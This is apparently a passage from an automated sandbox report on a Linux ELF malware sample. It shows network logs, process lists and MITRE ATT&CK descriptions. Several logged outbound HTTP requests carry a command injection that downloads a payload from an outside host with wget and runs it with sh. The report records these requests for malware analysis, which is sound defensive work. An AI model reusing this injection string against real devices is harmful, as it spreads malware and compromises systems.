74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 Data Ascii: <html> <head><title>400 Bad Request</title></head> <body bgcolor="#FFFFFF" text="#000000" link="#2020ff" vlink="#4040cc"> <h2>400 Bad Request</h2>Your request has bad syntax or is inherently impossible to satisfy.<div style="display:none"><ajax_response_xml_root><IF_ERRORSTR>SessionTimeout</IF_ERRORSTR><IF_ERRORPARAM>SUCC</IF_ERRORPARAM><IF_ERRORTYPE>SUCC</IF_ERRORTYPE></ajax_response_xml_root><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show thi
Mar 13, 2024 09:36:55.952703953 CET	270	IN	Data Raw: 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f Data Ascii: s error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span></div><hr /><

Session ID	Source IP	Source Port	Destination IP	Destination Port
369	192.168.2.15	36970	77.68.24.107	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:56.114896059 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:56.277287006 CET	507	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:55 GMT Server: Apache/2.4.57 (Debian) Content-Length: 313 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 6c 6f 63 61 6c 68 6f 73 74 2e 6c 6f 63 61 6c 64 6f 6d 61 69 6e 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.57 (Debian) Server at localhost.localdomain Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
370	192.168.2.15	33920	159.192.227.190	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:56.318296909 CET	1286	IN	HTTP/1.1 400 Bad Request Server: ZTE web server 1.0 ZTE corp 2015. Accept-Ranges: bytes Connection: close X-Frame-Options: SAMEORIGIN Content-Type: text/html; charset=iso-8859-1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 0a 3c 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 49 46 5f 45 52 52 4f 52 53 54 52 3e 53 65 73 73 69 6f 6e 54 69 6d 65 6f 75 74 3c 2f 49 46 5f 45 52 52 4f 52 53 54 52 3e 0a 3c 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 0a 3c 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 0a 3c 2f 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 Data Ascii: <html> <head><title>400 Bad Request</title></head> <body bgcolor="#FFFFFF" text="#000000" link="#2020ff" vlink="#4040cc"> <h2>400 Bad Request</h2>Your request has bad syntax or is inherently impossible to satisfy.<div style="display:none"><ajax_response_xml_root><IF_ERRORSTR>SessionTimeout</IF_ERRORSTR><IF_ERRORPARAM>SUCC</IF_ERRORPARAM><IF_ERRORTYPE>SUCC</IF_ERRORTYPE></ajax_response_xml_root><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show thi
Mar 13, 2024 09:36:56.318406105 CET	270	IN	Data Raw: 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f Data Ascii: s error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span></div><hr /><

Session ID	Source IP	Source Port	Destination IP	Destination Port
371	192.168.2.15	39150	27.96.211.16	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:56.464988947 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
372	192.168.2.15	33004	8.140.241.236	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:56.467952013 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:56.809684038 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.3 Date: Wed, 13 Mar 2024 08:36:56 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.3</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
373	192.168.2.15	44636	172.232.72.5	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:59.171758890 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:59.506222963 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
374	192.168.2.15	44648	172.232.72.5	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:59.848373890 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
375	192.168.2.15	46334	36.255.67.189	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:37:00.229922056 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:37:02.260710955 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
376	192.168.2.15	39140	20.85.137.33	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:37:02.359550953 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
377	192.168.2.15	51224	204.11.60.74	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:37:02.386332989 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

System Behavior

Analysis Process: 5m6jbTvemR.elf PID: 5531, Parent PID: 5448

General

Start time (UTC):	08:34:57
Start date (UTC):	13/03/2024
Path:	/tmp/5m6jbTvemR.elf
Arguments:	/tmp/5m6jbTvemR.elf
File size:	31320 bytes
MD5 hash:	68ca1eb30d68e2fca5cb05dd9c7767e7

Start time (UTC):	08:34:57
Start date (UTC):	13/03/2024
Path:	/tmp/5m6jbTvemR.elf
Arguments:	-
File size:	31320 bytes
MD5 hash:	68ca1eb30d68e2fca5cb05dd9c7767e7

Start time (UTC):	08:34:57
Start date (UTC):	13/03/2024
Path:	/tmp/5m6jbTvemR.elf
Arguments:	-
File size:	31320 bytes
MD5 hash:	68ca1eb30d68e2fca5cb05dd9c7767e7

Start time (UTC):	08:34:57
Start date (UTC):	13/03/2024
Path:	/tmp/5m6jbTvemR.elf
Arguments:	-
File size:	31320 bytes
MD5 hash:	68ca1eb30d68e2fca5cb05dd9c7767e7

Analysis Process: 5m6jbTvemR.elf PID: 5535, Parent PID: 5532

General

Start time (UTC):	08:34:57
Start date (UTC):	13/03/2024
Path:	/tmp/5m6jbTvemR.elf
Arguments:	-
File size:	31320 bytes
MD5 hash:	68ca1eb30d68e2fca5cb05dd9c7767e7

Analysis Process: 5m6jbTvemR.elf PID: 5537, Parent PID: 5532

General

Start time (UTC):	08:34:57
Start date (UTC):	13/03/2024
Path:	/tmp/5m6jbTvemR.elf
Arguments:	-
File size:	31320 bytes
MD5 hash:	68ca1eb30d68e2fca5cb05dd9c7767e7

Analysis Process: 5m6jbTvemR.elf PID: 5538, Parent PID: 5532

General

Start time (UTC):	08:34:57
Start date (UTC):	13/03/2024
Path:	/tmp/5m6jbTvemR.elf
Arguments:	-
File size:	31320 bytes
MD5 hash:	68ca1eb30d68e2fca5cb05dd9c7767e7

Start time (UTC):	08:35:02
Start date (UTC):	13/03/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	08:35:02
Start date (UTC):	13/03/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	08:35:02
Start date (UTC):	13/03/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	08:35:02
Start date (UTC):	13/03/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	08:35:03
Start date (UTC):	13/03/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	08:35:03
Start date (UTC):	13/03/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	08:35:03
Start date (UTC):	13/03/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	08:35:03
Start date (UTC):	13/03/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	08:35:09
Start date (UTC):	13/03/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	-
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	08:35:09
Start date (UTC):	13/03/2024
Path:	/usr/sbin/xfpm-power-backlight-helper
Arguments:	/usr/sbin/xfpm-power-backlight-helper --get-max-brightness
File size:	14656 bytes
MD5 hash:	3d221ad23f28ca3259f599b1664e2427

Start time (UTC):	08:35:03
Start date (UTC):	13/03/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	08:35:03
Start date (UTC):	13/03/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	08:35:03
Start date (UTC):	13/03/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	08:35:03
Start date (UTC):	13/03/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	08:35:09
Start date (UTC):	13/03/2024
Path:	/usr/bin/dbus-daemon
Arguments:	-
File size:	249032 bytes
MD5 hash:	3089d47e3f3ab84cd81c48fd406d7a8c

Start time (UTC):	08:35:09
Start date (UTC):	13/03/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
File size:	112880 bytes
MD5 hash:	4c7a0d6d258bb970905b19b84abcd8e9

Start time (UTC):	08:35:13
Start date (UTC):	13/03/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time (UTC):	08:35:13
Start date (UTC):	13/03/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd
File size:	112872 bytes
MD5 hash:	eee956f1b227c1d5031f9c61223255d1

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report 5m6jbTvemR.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: 5m6jbTvemR.elf PID: 5531, Parent PID: 5448

General

Chronological Activities

Analysis Process: 5m6jbTvemR.elf PID: 5532, Parent PID: 5531

General

Chronological Activities

Analysis Process: 5m6jbTvemR.elf PID: 5533, Parent PID: 5532

General

Chronological Activities

Analysis Process: 5m6jbTvemR.elf PID: 5534, Parent PID: 5532

Linux Analysis Report
5m6jbTvemR.elf